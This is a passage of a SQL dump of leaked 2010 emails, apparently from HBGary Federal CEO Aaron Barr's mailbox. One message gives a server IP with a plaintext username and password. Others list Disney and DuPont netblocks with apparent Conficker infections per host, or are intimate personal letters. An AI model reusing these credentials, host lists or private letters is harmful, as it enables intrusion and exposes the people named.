(NET-209-249-16-0-1) 209.249.16.0 - 209.249.16.255\r\nDupont Governm SBC069149193040040218 (NET-69-149-193-40-1) 69.149.193.40 - 69.149.193.47\r\nDUPONT GOVERNM-090916111855 SBC-99-69-151-32-29-0909161939 (NET-99-69-151-32-1) 99.69.151.32 - 99.69.151.39\r\nDuPont Group DUPONT-GROUP (NET-70-90-111-152-1) 70.90.111.152 - 70.90.111.159\r\nDupont Group, The LS-216-204-13-16 (NET-216-204-13-16-1) 216.204.13.16 - 216.204.13.23\r\nDUPONT IMAGING TECHNOLOGIES DUPONTIMAGINGTECHNOLOGIES (NET-76-12-137-64-1) 76.12.137.64 - 76.12.137.71\r\nDUPONT IMAGING TECHNOLOGIES DUPONTIMAGINGTECHNOLOGIES (NET-76-12-138-32-1) 76.12.138.32 - 76.12.138.39\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT1 (NET-206-126-226-0-1) 206.126.226.0 - 206.126.226.127\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT2 (NET-206-126-226-128-1) 206.126.226.128 - 206.126.226.255\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT3 (NET-206-126-233-0-1) 206.126.233.0 - 206.126.233.127\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT4 (NET-206-126-233-128-1) 206.126.233.128 - 206.126.233.255\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT5 (NET-206-126-234-0-1) 206.126.234.0 - 206.126.234.127\r\nDuPont Merck Pharmaceutical Company ACI-DUPONT6 (NET-206-126-234-128-1) 206.126.234.128 - 206.126.234.255\r\nDupont Motors DUPONT-MOTORS (NET-74-93-93-64-1) 74.93.93.64 - 74.93.93.71\r\nDupont Motors of Merrillville DUPONT-MOTORS-OF-MERRILLVILLE (NET-74-93-94-128-1) 74.93.94.128 - 74.93.94.135\r\nDupont Park Jr- Academy DUPONT-PARK-JR--ACADEMY (NET-173-8-27-96-1) 173.8.27.96 - 173.8.27.111\r\nDupont Photomask UU-65-215-177 (NET-65-215-177-0-1) 65.215.177.0 - 65.215.177.255\r\nDuPont Photomasks UU-208-222-128 (NET-208-222-128-0-1) 208.222.128.0 - 208.222.143.255\r\nDuPont Photomasks UU-63-65-246 (NET-63-65-246-0-1) 63.65.246.0 - 63.65.247.255\r\nDuPont Photomasks UU-63-65-252 (NET-63-65-252-0-1) 63.65.252.0 - 63.65.252.255\r\nDUPONT PHOTOMASKS UU-63-98-8-112-D3 (NET-63-98-8-112-1) 63.98.8.112 - 63.98.8.127\r\nDupont Powder Coating NET-65-16-161-136 (NET-65-16-161-136-1) 65.16.161.136 - 65.16.161.143\r\nDupont Publishing, Inc. RSPC-1204774565939871 (NET-67-192-149-56-1) 67.192.149.56 - 67.192.149.63\r\nDUPONT SAFETY RESOURCES DUPONTSAFETYRESOURCES (NET-76-12-237-216-1) 76.12.237.216 - 76.12.237.223\r\nDUPONT SAFETY RESOURCES DUPONTSAFETYRESOURCES (NET-76-12-185-224-1) 76.12.185.224 - 76.12.185.231\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12576,'aaron_hbgary_com/12576.html'),(6751,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004869.M169030P14101Q1606.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','It\'s up','70.91.171.242\r\nu:  aaron\r\np:  il0veshaft!\r\n',3898,'aaron_hbgary_com/3898.html'),(6752,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004869.M437648P14101Q1607.eml','\"Barr Aaron\" <aaron@hbgary.com>','Disney','This is what we made it through so far...\r\n\r\nDISNEY Worldwide Services, Inc.(NET-199-181-129-0-1) 199.181.129.0 -\r\n199.181.135.255\r\n\r\n\r\nIP : 199.181.130.5\r\nConfidence : 25.887555%\r\nEvents :\r\nConficker A/B @ 17 January 2010 12:51:36 AM\r\n\r\nIP : 199.181.130.10\r\nConfidence : 10%\r\nEvents :\r\nP2P @ 4 August 2009 09:59:00 AM\r\n\r\nIP : 199.181.134.212\r\nConfidence : 99.999341%\r\nEvents :\r\nConficker C @ 26 May 2010 04:55:36 PM\r\nConficker A/B @ 3 May 2010 09:02:13 PM\r\n\r\nIP : 199.181.135.135\r\nConfidence : 74.128846%\r\nEvents :\r\nConficker A/B @ 17 May 2010 04:23:15 AM\r\nSpam @ 11 February 2010 02:59:00 PM\r\n\r\nDISNEY WORLDWIDE DISNEY-W12-106-0 (NET-12-192-106-0-1) 12.192.106.0 -\r\n12.192.106.127\r\nIP : 12.192.106.104\r\nConfidence : 14.472653%\r\nEvents :\r\nConficker A/B @ 9 December 2009 06:37:01 PM\r\n\r\n\r\nDisney - Mclane, Inc. BRBN-64-138-84-0 (NET-64-138-84-0-1) 64.138.84.0\r\n- 64.138.84.31\r\nNo results\r\n\r\nDISNEY CRUISE LINES DISNEY-C34-8-80 (NET-12-187-8-80-1) 12.187.8.80 -\r\n12.187.8.87\r\nNo results\r\n\r\nDisney Online DISNEYONLINE-NETBLK-2 (NET-192-147-170-0-1)\r\n192.147.170.0 - 192.147.170.255\r\nNo results\r\n\r\nDisney Online DISNEYONLINE-NETBLK-1 (NET-198-105-192-0-1)\r\n198.105.192.0 - 198.105.199.255\r\nNo results\r\n\r\nDisney Online DISNEYONLINE-NETBLK-3 (NET-68-71-208-0-1) 68.71.208.0 -\r\n68.71.223.255\r\nNo results\r\n\r\nDisney Vacation Club DISNEY-HHL (NET-204-80-134-0-1) 204.80.134.0 -\r\n204.80.134.255\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W32-186-128 (NET-12-170-186-128-1)\r\n12.170.186.128 - 12.170.186.135\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W11-28-32 (NET-12-164-28-32-1) 12.164.28.32 -\r\n12.164.28.39\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W61-160-184 (NET-12-150-160-184-1)\r\n12.150.160.184 - 12.150.160.191\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W83-167 (NET-12-150-167-0-1) 12.150.167.0 -\r\n12.150.167.255\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W34-160-96 (NET-12-131-160-96-1) 12.131.160.96\r\n- 12.131.160.127\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W13-179-72 (NET-12-233-179-72-1) 12.233.179.72\r\n- 12.233.179.79\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W74-37-160 (NET-12-176-37-160-1) 12.176.37.160\r\n- 12.176.37.175\r\nNo results\r\n\r\nDISNEY WORLDWIDE DISNEY-W33-42-232 (NET-12-230-42-232-1) 12.230.42.232\r\n- 12.230.42.239\r\nNo results\r\n',12043,'aaron_hbgary_com/12043.html'),(6753,'2010-05-27','\"Sandy\" <freelybe@hotmail.com>','/aaron@hbgary.com/new/1297004873.M995526P14101Q1608.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Dangerous','What you have done to me and to this   relationship really is  \r\nincomprehensible.\r\nWill you ever know the value, meaning, and power of trust and sadly to  \r\ndamage done to someone and to a relationship with lies and deceit. It  \r\nis also ludicrous when you point the finger at me or at my anger and  \r\npain for being treated this way, disgusting the times you have painted  \r\nme as the one in the wrong to your family, to any friends, and to  \r\nyourself. You have alot of work to do.\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\nOn May 24, 2010, at 12:29 AM, Aaron Barr  wrote:\r\n\r\n> Sandy,\r\n>\r\n> My actions for nearly 20 years have been reckless, selfish, and\r\n> abusive.  I stare at a picture taken before we were married.  A kiss\r\n> in love.  It sits by my bed as a reminder.\r\n>\r\n> I work for the happiness of our family, to diminish completely in\r\n> measure such hurtful flaws in my character but hope for the day that a\r\n> kiss between us in love might be possible.\r\n>\r\n> Love\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',11795,'aaron_hbgary_com/11795.html'),(6754,'2010-05-27','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297004874.M315550P14101Q1609.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 5/26/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    May 19 - May 26\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Albert Pisani has an updated profile (Specialties, Expertise)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Gary Elliott, M.S., PMP, NSA 4011 has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n                        Gary Elliott, M.S., PMP, NSA 4011 became Einstein Grid Computing Searcher at University of Wisconsin Milwaukee in December 2009\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Jeff Kubik, PMP, CISSP\r\n    is now connected to\r\n        Tamara Cleveland\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Brian Girardi\r\n    is now connected to\r\n        Peder Jungck\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Carolyn Kwieraga\r\nis now connected to\r\n            Robin Marie Williams\r\n,             Sharon Boso\r\n,             Ken Feldman\r\n,       and 1 other person.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Guy Mincey\r\nAttending the AFCEA Energy Executive Board meeting today. \r\nwww.afceaenergy.org      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nAFCEA Energy HOME         \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Jeff McCartney\r\nAwsome: http://lnkd.in/wc5iDU      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nStop by Eagle Ray Booth 917 at #DoDIIS Worldwide -- Great to catch up with associates across the Community!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    David Etue has joined\r\n    280 Group: Product Management &amp; Product Marketing\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Mary Sullivan has joined\r\n    Northern Virginia Technology Council\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Andy Purdy has joined\r\n    Syngress\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Shane Shook was recommended by\r\ncolleague      Brian Cummings\r\n        Shane is a guy who can bring a lot of value to a client, value that you can\'t really understand unti...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Steve Winterfeld\r\n                  \r\n                     is now using the new LinkedIn for BlackBerry application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',887,'aaron_hbgary_com/887.html'),(6755,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004874.M592297P14101Q1610.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Small Business Type','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron/Ted,\r\n\r\n&nbsp;\r\n\r\nI haven&#8217;t received your Reps &amp; Certs back so I need to\r\nask what type of business are you: Small Business?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n*Supplier Category: (Check all\r\nthat apply) (Incorporated by reference: FAR 52.219-1, FAR\r\n52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS 225.003) Note: It is a criminal offense to make false\r\nstatements or misrepresent a firm&#8217;s status as a small business concern.\r\nPenalties\r\n\r\nare\r\nprescribed under 15 U.S.C. 645(d). Note: Effective 10/3/08, suppliers that qualify as SDB&#8217;s can\r\nself-certify their status (see 13 CFR Part 124).\r\n\r\n&nbsp;\r\n\r\nForeign\r\n\r\nGeneral Dynamics Owned\r\n\r\nLarge Business\r\n\r\nSmall Business\r\n\r\nMinority Owned\r\n\r\nWoman Owned\r\n\r\nSmall Disadvantaged Business\r\n\r\nHUB Zone (certified)\r\n\r\nVeteran\r\n\r\nService Disabled Veteran\r\n\r\nHBCU / MI\r\n\r\nAlaskan Native Corporation\r\n\r\nIndian\r\nTribe\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7497,'aaron_hbgary_com/7497.html'),(6756,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004874.M873122P14101Q1611.eml','info@PointAbout.com','Introduction','Hi PointAbout,\r\n\r\nI have been doing a little bit of research on local DC talent for mobile development and found you guys, turns out I actually have a few of your apps on my iPhone.\r\n\r\nMy company is the sister company to HBGary Inc. focused on malware analysis, incident response, and information operations products and services.  But the reason for writing you is I have about 7 years experience in the web and mobile app and services space as well and have some interesting ideas.  It was all work done for the government so while I think I have a vision for the direction of mobile information and services (the most important market going forward IMO).  I don\'t know the people or processes in the purely commercial space.\r\n\r\nI would like to exchange an NDA and come talk to you guys about the mobile space.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3197,'aaron_hbgary_com/3197.html'),(6757,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004875.M140973P14101Q1612.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','Incident Response','Hey Eric,\r\n\r\nThought I would touch base with you, see if there is a good time to come in and talk about incident response.  Our Active Defense product has a few successful deployment under its belt and we are developing an Incident Response package around it and a few partner capabilities that I think is interesting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2857,'aaron_hbgary_com/2857.html'),(6758,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004875.M362150P14101Q1613.eml','\"Ted Vera\" <ted@hbgary.com>','Pointabout','I wrote to them and suggested an nda exchange and meeting.  Let\'s talk\r\nbriefly about this today.\r\n\r\n From my iPhone\r\n',13947,'aaron_hbgary_com/13947.html'),(6759,'2010-05-27','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297004875.M584640P14101Q1614.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Incident Response','Aaron, we are finishing up about $165M of proposal activity next week so the week after that will be best.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Division\r\nManTech Mission, Cyber, Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 9:08 AM\r\nTo: Eifert, Eric J.\r\nCc: Nieves, Alexander\r\nSubject: Incident Response\r\n\r\nHey Eric,\r\n\r\nThought I would touch base with you, see if there is a good time to come in and talk about incident response.  Our Active Defense product has a few successful deployment under its belt and we are developing an Incident Response package around it and a few partner capabilities that I think is interesting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7956,'aaron_hbgary_com/7956.html'),(6760,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004875.M895997P14101Q1615.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: First Conference Information','Exhibit starts on Tuesday.Begin forwarded message:From: \"DeeAnn Buonaccorsi\" &lt;deeann@hbgary.com&gt;Date: May 25, 2010 3:13:38 PM EDTTo: \"Penny Leavy\" &lt;Penny@hbgary.com&gt;, \"\'Bob Slapnik\'\" &lt;bob@hbgary.com&gt;, \"\'Martin Pillion\'\" &lt;martin@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: First Conference InformationHi Guys,&nbsp;I have sent you all the hotel confirmations if you need flight help please contact me.&nbsp;&nbsp; Please review hotel info and tell if you will be staying the whole conference if not I can change hotel reservations. &nbsp;I also sent you the program please review and get back to as soon as possible. &nbsp;Here is the conference info..&nbsp; Please contact me if you have any questions or concerns.&nbsp;Exhibitor Dates, Times &amp; LocationIf you require assistance upon arriving Tuesday, please locate either Traci Wei or Kristen Jacobucci at the Registration Desk.&nbsp; Your booth spaces will be labeled and your shipments will be placed behind your table by hotel staff.&nbsp;§&nbsp;&nbsp;Booth #:&nbsp;&nbsp;8§&nbsp;&nbsp;Location:&nbsp;2ND&nbsp;Level at the InterContinental Hotel&nbsp;Miami§&nbsp;&nbsp;Setup:&nbsp;Tuesday, June 15th&nbsp;from 2:00PM-4:00PM§&nbsp;&nbsp;Teardown:&nbsp;Friday, June 18th&nbsp;from 1:30PM-3:00PM&nbsp;§&nbsp;&nbsp;Exhibit Hours:o&nbsp;&nbsp;&nbsp;&nbsp;Tuesday, June 15th&nbsp;from 4:00PM-8:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Wednesday, June 16th&nbsp;from 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM; 5:00PM-6:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Thursday, June 17th&nbsp;from 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Friday, June 18th&nbsp;from 8:00AM-8:45AM; 12:00PM-1:30PM&nbsp;Please review the conference program at&nbsp;http://conference.first.org&nbsp;for any changes to the break and lunch schedules.&nbsp;Please ensure you bring the appropriate shipping labels, forms and packaging materials (boxes, tape) in order to ship your items at the conclusion of the conference.&nbsp; When completed, hotel staff will take your shipments to the loading dock.&nbsp;What will be provided?It is the exhibitor’s responsibility to rent/provide any additional support items that are not listed below (see “Forms Attached in the ZIP Pack section”).&nbsp;§&nbsp;&nbsp;10’ x 10’ space§&nbsp;&nbsp;1x 6’ft standard table with tablecloth§&nbsp;&nbsp;2x chairs§&nbsp;&nbsp;1x power strip§&nbsp;&nbsp;Wireless internet connection provided by our sponsors Cisco &amp; Telefonica&nbsp;&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12904,'aaron_hbgary_com/12904.html'),(6761,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004876.M111067P14101Q1616.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Incident Response','Sounds good on both fronts.  How does the 8th sound.  Its a pretty open day for me.\r\nAaron\r\n\r\nOn May 27, 2010, at 9:09 AM, Eifert, Eric J. wrote:\r\n\r\n> Aaron, we are finishing up about $165M of proposal activity next week so the week after that will be best.\r\n> \r\n> Thanks,\r\n> \r\n> Eric J. Eifert\r\n> Vice President, Cyber Defense Division\r\n> ManTech Mission, Cyber, Technology Solutions\r\n> (direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 27, 2010 9:08 AM\r\n> To: Eifert, Eric J.\r\n> Cc: Nieves, Alexander\r\n> Subject: Incident Response\r\n> \r\n> Hey Eric,\r\n> \r\n> Thought I would touch base with you, see if there is a good time to come in and talk about incident response.  Our Active Defense product has a few successful deployment under its belt and we are developing an Incident Response package around it and a few partner capabilities that I think is interesting.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6058,'aaron_hbgary_com/6058.html'),(6762,'2010-05-27','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004876.M329257P14101Q1617.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWho&#8217;s name should we create the portal login in?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 26, 2010 4:24 PM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSweet. &nbsp;We have been playing with the EGS interface\r\ntoday, working pretty well. &nbsp;An active defense server is being shipped to\r\nour Colorado Springs office as we speak. &nbsp;Once we have access to the\r\nFidelis VMs we will start working on the integration.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 26, 2010, at 4:18 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExecuted agreements attached!\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Moynahan, Seana&nbsp;\r\nSent:&nbsp;Wednesday, May 26,\r\n2010 3:23 PM\r\nTo:&nbsp;Etue, David\r\nCc:&nbsp;Kraemer, Gary\r\nSubject:&nbsp;FW: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi David,\r\n\r\n\r\n\r\n\r\n\r\nPlease let me know if I should forward these along elsewhere&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Moynahan, Seana&nbsp;\r\nSent:&nbsp;Monday, May 24, 2010\r\n5:09 PM\r\nTo:&nbsp;Etue, David\r\nCc:&nbsp;Kraemer, Gary\r\nSubject:&nbsp;HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPer\r\nGary K, please see attached TAP and NDA, executed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary_Fidelis_NDA_executed_05242010.pdf&gt;&lt;HBGaryFederal_Fidelis_TAP_Executed05242010.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7835,'aaron_hbgary_com/7835.html'),(6763,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004876.M539856P14101Q1618.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: HBGary Federal','Ted veraFrom my iPhoneOn May 27, 2010, at 9:22 AM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWho’s name should we create the portal login in?  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 26, 2010 4:24 PM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSweet.  We have been playing with the EGS interface\r\ntoday, working pretty well.  An active defense server is being shipped to\r\nour Colorado Springs office as we speak.  Once we have access to the\r\nFidelis VMs we will start working on the integration.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSee you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 26, 2010, at 4:18 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nExecuted agreements attached!\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\n\r\nSent: Wednesday, May 26,\r\n2010 3:23 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: FW: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi David,\r\n\r\n\r\n\r\n\r\n\r\nPlease let me know if I should forward these along elsewhere…\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\n\r\nSent: Monday, May 24, 2010\r\n5:09 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPer\r\nGary K, please see attached TAP and NDA, executed.\r\n\r\n\r\n\r\n\r\n\r\n 